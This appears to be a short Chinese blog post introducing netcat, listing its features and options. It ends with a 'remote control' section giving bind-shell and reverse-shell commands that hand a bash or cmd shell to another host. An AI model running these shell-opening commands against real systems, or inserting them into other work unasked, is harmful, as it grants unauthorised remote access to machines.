天天看點

網絡中瑞士軍刀——netcat(nc)netcat(nc)

netcat(nc)

簡介

NC(netcat)被稱為網絡工具中的瑞士軍刀,體積小巧,但功能強大。

Nc可以在兩台裝置上面互相互動,即偵聽模式/傳輸模式。

  • telnet功能
  • 擷取banner資訊
  • 傳輸文本資訊
  • 傳輸檔案/目錄
  • 加密傳輸檔案
  • 遠端控制
  • 加密所有流量
  • 流媒體伺服器
  • 遠端克隆硬碟

具體使用

  • -c shell commands shell模式
  • -e filename 程式重定向 [危險!!]
  • -b 允許廣播
  • -d 無指令行界面,使用背景模式
  • -g gateway 源路由跳躍點, 不超過8
  • -G num 源路由訓示器: 4, 8, 12, …
  • -h 擷取幫助資訊
  • -i secs 延時設定,端口掃描時使用
  • -k 設定在socket上的存活選項
  • -l 監聽入站資訊
  • -n 以數字形式表示的IP位址
  • -o file 十進制記錄
  • -p port 本地端口
  • -r 随機本地和遠端的端口
  • -q secs 在标準輸入且延遲後退出(翻譯的不是很好,後面執行個體介紹)
  • -s addr 本地源位址
  • -T tos 設定服務類型
  • -t 以TELNET的形式應答入站請求
  • -u UDP模式
  • -v 顯示詳細資訊 [使用=vv擷取更詳細的資訊
  • -w secs 連接配接逾時設定
  • -z I/O 模式 [掃描時使用]

nc遠端控制

  • 正向連接配接

    A:nc -lp port -c bash

    B:nc ip port

    A将自己的Bash發給B

  • 反向連接配接

    A:nc -lp port

    B:nc ip port -c bash

    B将自己的Bash發給A

    win下Bash換成cmd

繼續閱讀